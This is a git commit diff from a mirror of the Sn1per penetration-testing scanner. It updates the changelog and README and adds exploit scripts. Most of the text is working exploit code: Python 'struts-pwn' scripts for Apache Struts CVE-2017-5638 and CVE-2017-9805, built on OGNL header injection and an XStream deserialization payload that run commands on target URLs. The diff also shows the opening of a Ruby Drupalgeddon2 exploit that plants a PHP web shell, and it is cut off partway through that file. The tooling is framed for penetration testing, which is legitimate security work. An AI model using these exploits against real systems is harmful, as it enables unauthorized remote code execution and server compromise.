mirror of https://github.com/1N3/Sn1per.git
Sn1per by 1N3@CrowdShield
This commit is contained in:
1N3@CrowdShield
parent
5b64d62770
commit
13451c72e0
16
CHANGELOG.md
16
CHANGELOG.md
|
|
@ -1,4 +1,20 @@
|
|||
## CHANGELOG:
|
||||
* v5.0 - Added Sn1per Pro reporting interface (see https://xerosecurity.com for more details)
|
||||
* v5.0 - Added GPON Router RCE auto exploit
|
||||
* v5.0 - Added Cloudapp.net Azure subdomain takeover check
|
||||
* v5.0 - Added Cisco ASA Directory Traversal auto exploit (CVE-2018-0296)
|
||||
* v5.0 - Added Wig Web Information Gatherer
|
||||
* v5.0 - Added Dirsearch with custom dirsearch wordlists (quick, normal, full)
|
||||
* v5.0 - Fixed bug in installer/upgrade which copied the local dir contents to the install dir
|
||||
* v5.0 - Improved scan performance while taking web screenshots
|
||||
* v5.0 - Fixed repo issue with Slurp (Shoutz to @ifly53e)
|
||||
* v5.0 - Fixed issues with wrong ports listed in port scans (Shoutz to @ifly53e)
|
||||
* v5.0 - Minor code fixes and typos corrected (Shoutz to @ifly53e)
|
||||
* v5.0 - Updated "discover" mode scans for improved performance
|
||||
* v4.5 - Added Apache Struts 2 CVE-2017-9805 and CVE-2017-5638 detection
|
||||
* v4.5 - Added dirsearch web/file brute forcing
|
||||
* v4.5 - Added smart file/directory brute forcing to all scan modes.
|
||||
* v4.5 - Added subdomain brute force scan option to Sublist3r scan.
|
||||
* v4.4 - Fixed issue with sniper nuke and airstrike modes not running.
|
||||
* v4.4 - Added improved SNMP checks via NMap/Metasploit.
|
||||
* v4.4 - Resolved dependency issue for nfs-common package.
|
||||
|
|
|
|||
|
|
@ -1,2 +1,2 @@
|
|||
## LICENSE:
|
||||
This software is free to distribute, modify and use with the condition that credit is provided to the creator (1N3@CrowdShield) and is not for commercial use.
|
||||
Sn1per Community Edition is free to distribute, modify and use with the condition that credit is provided to the creator (1N3@CrowdShield) and is not for commercial or professional use. For commercia and professional use, a Sn1per Professional license must be purchased.
|
||||
|
|
|
|||
22
README.md
22
README.md
|
|
@ -8,12 +8,29 @@
|
|||
[](https://twitter.com/intent/follow?screen_name=crowdshield)
|
||||
|
||||
## ABOUT:
|
||||
Sn1per is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities.
|
||||
Sn1per Community Edition is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes.
|
||||
|
||||
## DEMO VIDEO:
|
||||
[](https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm)
|
||||
|
||||
## FEATURES:
|
||||
## SN1PER PROFESSIONAL FEATURES:
|
||||
- [x] Professional reporting interface
|
||||
|
||||
- [x] Slideshow for all gathered screenshots
|
||||
|
||||
- [x] Searchable and sortable DNS, IP and open port database
|
||||
|
||||
- [x] Categorized host reports
|
||||
|
||||
- [x] Quick links to online recon tools and Google hacking queries
|
||||
|
||||
- [x] Personalized notes field for each host
|
||||
|
||||
|
||||
## ORDER SN1PER PROFESSIONAL:
|
||||
To obtain a Sn1per Professional license, go to https://xerosecurity.com.
|
||||
|
||||
## SN1PER COMMUNITY FEATURES:
|
||||
- [x] Automatically collects basic recon (ie. whois, ping, DNS, etc.)
|
||||
- [x] Automatically launches Google hacking queries against a target domain
|
||||
- [x] Automatically enumerates open ports via NMap port scanning
|
||||
|
|
@ -139,6 +156,7 @@ sniper -u|--update
|
|||
* **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port.
|
||||
* **UPDATE:** Checks for updates and upgrades all components used by sniper.
|
||||
* **REIMPORT:** Reimport all workspace files into Metasploit and reproduce all reports.
|
||||
* **RELOAD:** Reload the master workspace report.
|
||||
|
||||
## SAMPLE REPORT:
|
||||
https://gist.github.com/1N3/8214ec2da2c91691bcbc
|
||||
|
|
|
|||
4
TODO.md
4
TODO.md
|
|
@ -1,8 +1,6 @@
|
|||
###TODO:
|
||||
* Add selectable plugin configuration to enable/disable each command
|
||||
* Add checks to make sure all commands exist at startup. If not, refer to installer.
|
||||
* Create a sniper-kali release to only use base Kali image toolsets
|
||||
* Check if there's an active internet connection, if not, run offline mode
|
||||
* Add proxy support for all scans
|
||||
* Look into adding gobuster
|
||||
* Update subdomain list with aquatone list
|
||||
* Increase thread count for file/dir brute force
|
||||
|
|
@ -0,0 +1,176 @@
|
|||
#!/usr/bin/env python3
|
||||
# coding=utf-8
|
||||
# *****************************************************
|
||||
# struts-pwn: Apache Struts CVE-2017-5638 Exploit
|
||||
# Author:
|
||||
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
|
||||
# This code is based on:
|
||||
# https://www.exploit-db.com/exploits/41570/
|
||||
# https://www.seebug.org/vuldb/ssvid-92746
|
||||
# *****************************************************
|
||||
import sys
|
||||
import random
|
||||
import requests
|
||||
import argparse
|
||||
|
||||
# Disable SSL warnings
|
||||
try:
|
||||
import requests.packages.urllib3
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
except:
|
||||
pass
|
||||
|
||||
if len(sys.argv) <= 1:
|
||||
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
|
||||
print('[*] Struts-PWN - @mazen160')
|
||||
print('\n%s -h for help.' % (sys.argv[0]))
|
||||
exit(0)
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-u", "--url",
|
||||
dest="url",
|
||||
help="Check a single URL.",
|
||||
action='store')
|
||||
parser.add_argument("-l", "--list",
|
||||
dest="usedlist",
|
||||
help="Check a list of URLs.",
|
||||
action='store')
|
||||
parser.add_argument("-c", "--cmd",
|
||||
dest="cmd",
|
||||
help="Command to execute. (Default: id)",
|
||||
action='store',
|
||||
default='id')
|
||||
parser.add_argument("--check",
|
||||
dest="do_check",
|
||||
help="Check if a target is vulnerable.",
|
||||
action='store_true')
|
||||
args = parser.parse_args()
|
||||
url = args.url if args.url else None
|
||||
usedlist = args.usedlist if args.usedlist else None
|
||||
url = args.url if args.url else None
|
||||
cmd = args.cmd if args.cmd else None
|
||||
do_check = args.do_check if args.do_check else None
|
||||
|
||||
|
||||
def url_prepare(url):
|
||||
url = url.replace('#', '%23')
|
||||
url = url.replace(' ', '%20')
|
||||
if ('://' not in url):
|
||||
url = str('http') + str('://') + str(url)
|
||||
return(url)
|
||||
|
||||
|
||||
def exploit(url, cmd):
|
||||
url = url_prepare(url)
|
||||
print('\n[*] URL: %s' % (url))
|
||||
print('[*] CMD: %s' % (cmd))
|
||||
|
||||
payload = "%{(#_='multipart/form-data')."
|
||||
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
||||
payload += "(#_memberAccess?"
|
||||
payload += "(#_memberAccess=#dm):"
|
||||
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
||||
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
||||
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
|
||||
payload += "(#ognlUtil.getExcludedClasses().clear())."
|
||||
payload += "(#context.setMemberAccess(#dm))))."
|
||||
payload += "(#cmd='%s')." % cmd
|
||||
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
|
||||
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
|
||||
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
|
||||
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
|
||||
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
|
||||
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
|
||||
payload += "(#ros.flush())}"
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Content-Type': str(payload),
|
||||
'Accept': '*/*'
|
||||
}
|
||||
|
||||
timeout = 3
|
||||
try:
|
||||
output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
output = 'ERROR'
|
||||
return(output)
|
||||
|
||||
|
||||
def check(url):
|
||||
url = url_prepare(url)
|
||||
print('\n[*] URL: %s' % (url))
|
||||
|
||||
random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7))
|
||||
|
||||
payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']."
|
||||
payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string)
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Content-Type': str(payload),
|
||||
'Accept': '*/*'
|
||||
}
|
||||
|
||||
timeout = 3
|
||||
try:
|
||||
resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
|
||||
if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)):
|
||||
result = True
|
||||
else:
|
||||
result = False
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
result = False
|
||||
return(result)
|
||||
|
||||
|
||||
def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
|
||||
if url:
|
||||
if do_check:
|
||||
result = check(url) # Only check for existence of Vulnerablity
|
||||
output = '[*] Status: '
|
||||
if result is True:
|
||||
output += 'Vulnerable!'
|
||||
else:
|
||||
output += 'Not Affected.'
|
||||
else:
|
||||
output = exploit(url, cmd) # Exploit
|
||||
print(output)
|
||||
|
||||
if usedlist:
|
||||
URLs_List = []
|
||||
try:
|
||||
f_file = open(str(usedlist), 'r')
|
||||
URLs_List = f_file.read().replace('\r', '').split('\n')
|
||||
try:
|
||||
URLs_List.remove('')
|
||||
except ValueError:
|
||||
pass
|
||||
f_file.close()
|
||||
except:
|
||||
print('Error: There was an error in reading list file.')
|
||||
exit(1)
|
||||
for url in URLs_List:
|
||||
if do_check:
|
||||
result = check(url) # Only check for existence of Vulnerablity
|
||||
output = '[*] Status: '
|
||||
if result is True:
|
||||
output += 'Vulnerable!'
|
||||
else:
|
||||
output += 'Not Affected.'
|
||||
else:
|
||||
output = exploit(url, cmd) # Exploit
|
||||
print(output)
|
||||
|
||||
print('[%] Done.')
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check)
|
||||
except KeyboardInterrupt:
|
||||
print('\nKeyboardInterrupt Detected.')
|
||||
print('Exiting...')
|
||||
exit(0)
|
||||
|
|
@ -0,0 +1,324 @@
|
|||
#!/usr/bin/env python3
|
||||
# coding=utf-8
|
||||
# *****************************************************
|
||||
# struts-pwn: Apache Struts CVE-2017-9805 Exploit
|
||||
# Author:
|
||||
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
|
||||
# This code is based on:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/8924
|
||||
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
|
||||
# *****************************************************
|
||||
import argparse
|
||||
import requests
|
||||
import sys
|
||||
|
||||
# Disable SSL warnings
|
||||
try:
|
||||
import requests.packages.urllib3
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if len(sys.argv) <= 1:
|
||||
print('[*] CVE: 2017-9805 - Apache Struts2 S2-052')
|
||||
print('[*] Struts-PWN - @mazen160')
|
||||
print('\n%s -h for help.' % (sys.argv[0]))
|
||||
exit(0)
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-u", "--url",
|
||||
dest="url",
|
||||
help="Check a single URL.",
|
||||
action='store')
|
||||
parser.add_argument("-l", "--list",
|
||||
dest="usedlist",
|
||||
help="Check a list of URLs.",
|
||||
action='store')
|
||||
parser.add_argument("-c", "--cmd",
|
||||
dest="cmd",
|
||||
help="Command to execute. (Default: 'echo test > /tmp/struts-pwn')",
|
||||
action='store',
|
||||
default='echo test > /tmp/struts-pwn')
|
||||
parser.add_argument("--exploit",
|
||||
dest="do_exploit",
|
||||
help="Exploit.",
|
||||
action='store_true')
|
||||
args = parser.parse_args()
|
||||
url = args.url if args.url else None
|
||||
usedlist = args.usedlist if args.usedlist else None
|
||||
url = args.url if args.url else None
|
||||
cmd = args.cmd if args.cmd else None
|
||||
do_exploit = args.do_exploit if args.do_exploit else None
|
||||
|
||||
|
||||
def url_prepare(url):
|
||||
url = url.replace('#', '%23')
|
||||
url = url.replace(' ', '%20')
|
||||
if ('://' not in url):
|
||||
url = str('http') + str('://') + str(url)
|
||||
return(url)
|
||||
|
||||
|
||||
def exploit(url, cmd, dont_print_status_on_console=False):
|
||||
url = url_prepare(url)
|
||||
if dont_print_status_on_console is False:
|
||||
print('\n[*] URL: %s' % (url))
|
||||
print('[*] CMD: %s' % (cmd))
|
||||
cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])
|
||||
|
||||
payload = """
|
||||
<map>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<flags>0</flags>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<initialized>false</initialized>
|
||||
<opmode>0</opmode>
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
{0}
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>java.lang.ProcessBuilder</class>
|
||||
<name>start</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer/>
|
||||
<done>false</done>
|
||||
<ostart>0</ostart>
|
||||
<ofinish>0</ofinish>
|
||||
<closed>false</closed>
|
||||
</is>
|
||||
<consumed>false</consumed>
|
||||
</dataSource>
|
||||
<transferFlavors/>
|
||||
</dataHandler>
|
||||
<dataLen>0</dataLen>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
</map>
|
||||
""".format(cmd)
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Referer': str(url),
|
||||
'Content-Type': 'application/xml',
|
||||
'Accept': '*/*'
|
||||
}
|
||||
|
||||
timeout = 3
|
||||
try:
|
||||
output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
output = 'ERROR'
|
||||
return(output)
|
||||
|
||||
|
||||
def check(url):
|
||||
url = url_prepare(url)
|
||||
print('\n[*] URL: %s' % (url))
|
||||
|
||||
initial_request = exploit(url, "", dont_print_status_on_console=True)
|
||||
if initial_request == "ERROR":
|
||||
result = False
|
||||
print("The host does not respond as expected.")
|
||||
return(result)
|
||||
|
||||
payload_sleep_based_10seconds = """
|
||||
<map>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<flags>0</flags>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<initialized>false</initialized>
|
||||
<opmode>0</opmode>
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
|
||||
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
|
||||
<default>
|
||||
<__name>Pwnr</__name>
|
||||
<__bytecodes>
|
||||
<byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
|
||||
dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
|
||||
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJD
|
||||
bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5
|
||||
bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
|
||||
c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy
|
||||
aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs
|
||||
YW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUv
|
||||
eG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9u
|
||||
cwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29t
|
||||
L3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3Vu
|
||||
L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7
|
||||
KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1B
|
||||
eGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs
|
||||
L3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMu
|
||||
amF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNs
|
||||
ZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp
|
||||
bWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcv
|
||||
YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFs
|
||||
L3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA
|
||||
BXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVy
|
||||
MTY3MTMxNTc4NjQ1ODk0AQAgTHlzb3NlcmlhbC9Qd25lcjE2NzEzMTU3ODY0NTg5NDsAIQACAAMA
|
||||
AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A
|
||||
AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A
|
||||
AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa
|
||||
AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA
|
||||
AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA
|
||||
AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ
|
||||
</byte-array>
|
||||
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
|
||||
dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
|
||||
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy
|
||||
aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2
|
||||
YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh
|
||||
bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp
|
||||
bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB
|
||||
AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA
|
||||
AAoAAQACABYAEAAJ</byte-array>
|
||||
</__bytecodes>
|
||||
<__transletIndex>-1</__transletIndex>
|
||||
<__indentNumber>0</__indentNumber>
|
||||
</default>
|
||||
<boolean>false</boolean>
|
||||
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
|
||||
<name>newTransformer</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer/>
|
||||
<done>false</done>
|
||||
<ostart>0</ostart>
|
||||
<ofinish>0</ofinish>
|
||||
<closed>false</closed>
|
||||
</is>
|
||||
<consumed>false</consumed>
|
||||
</dataSource>
|
||||
<transferFlavors/>
|
||||
</dataHandler>
|
||||
<dataLen>0</dataLen>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
</map>
|
||||
"""
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Referer': str(url),
|
||||
'Content-Type': 'application/xml',
|
||||
'Accept': '*/*'
|
||||
}
|
||||
|
||||
timeout = 8
|
||||
try:
|
||||
requests.post(url, data=payload_sleep_based_10seconds, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
|
||||
# if the response returned before the request timeout.
|
||||
# then, the host should not be vulnerable.
|
||||
# The request should return > 10 seconds, while the timeout is 8.
|
||||
result = False
|
||||
except Exception:
|
||||
result = True
|
||||
return(result)
|
||||
|
||||
|
||||
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
|
||||
if url:
|
||||
if not do_exploit:
|
||||
result = check(url)
|
||||
output = '[*] Status: '
|
||||
if result is True:
|
||||
output += 'Vulnerable!'
|
||||
else:
|
||||
output += 'Not Affected.'
|
||||
print(output)
|
||||
else:
|
||||
exploit(url, cmd)
|
||||
print("[$] Request sent.")
|
||||
print("[.] If the host is vulnerable, the command will be executed in the background.")
|
||||
|
||||
if usedlist:
|
||||
URLs_List = []
|
||||
try:
|
||||
f_file = open(str(usedlist), 'r')
|
||||
URLs_List = f_file.read().replace('\r', '').split('\n')
|
||||
try:
|
||||
URLs_List.remove('')
|
||||
except ValueError:
|
||||
pass
|
||||
f_file.close()
|
||||
except Exception as e:
|
||||
print('Error: There was an error in reading list file.')
|
||||
print("Exception: " + str(e))
|
||||
exit(1)
|
||||
for url in URLs_List:
|
||||
if not do_exploit:
|
||||
result = check(url)
|
||||
output = '[*] Status: '
|
||||
if result is True:
|
||||
output += 'Vulnerable!'
|
||||
else:
|
||||
output += 'Not Affected.'
|
||||
print(output)
|
||||
else:
|
||||
exploit(url, cmd)
|
||||
print("[$] Request sent.")
|
||||
print("[.] If the host is vulnerable, the command will be executed in the background.")
|
||||
|
||||
print('[%] Done.')
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
|
||||
except KeyboardInterrupt:
|
||||
print('\nKeyboardInterrupt Detected.')
|
||||
print('Exiting...')
|
||||
exit(0)
|
||||
|
|
@ -0,0 +1,364 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
|
||||
#
|
||||
# Authors:
|
||||
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
|
||||
# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
|
||||
#
|
||||
|
||||
|
||||
require "base64"
|
||||
require "json"
|
||||
require "net/http"
|
||||
require "openssl"
|
||||
require "readline"
|
||||
|
||||
|
||||
# Settings - Proxy information (nil to disable)
|
||||
proxy_addr = nil
|
||||
proxy_port = 8080
|
||||
|
||||
|
||||
# Settings - General
|
||||
$useragent = "drupalgeddon2"
|
||||
webshell = "s.php"
|
||||
writeshell = true
|
||||
|
||||
|
||||
# Settings - Payload (we could just be happy without this, but we can do better!)
|
||||
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
|
||||
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Function http_request <url> [type] [data]
|
||||
def http_request(url, type="post", payload="")
|
||||
uri = URI(url)
|
||||
request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri)
|
||||
request.initialize_http_header({"User-Agent" => $useragent})
|
||||
request.body = payload
|
||||
return $http.request(request)
|
||||
end
|
||||
|
||||
|
||||
# Function gen_evil_url <cmd> [shell]
|
||||
def gen_evil_url(evil, shell=false)
|
||||
# PHP function to use (don't forget about disabled functions...)
|
||||
#phpfunction = $drupalverion.start_with?("8")? "exec" : "passthru"
|
||||
phpfunction = "passthru"
|
||||
|
||||
#puts "[i] PHP cmd: #{phpfunction}" if shell
|
||||
puts "[i] Payload: #{evil}" if not shell
|
||||
|
||||
## Check the version to match the payload
|
||||
# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
|
||||
if $drupalverion.start_with?("8")
|
||||
# Method #1 - Drupal 8, mail, #post_render - response is 200
|
||||
url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
|
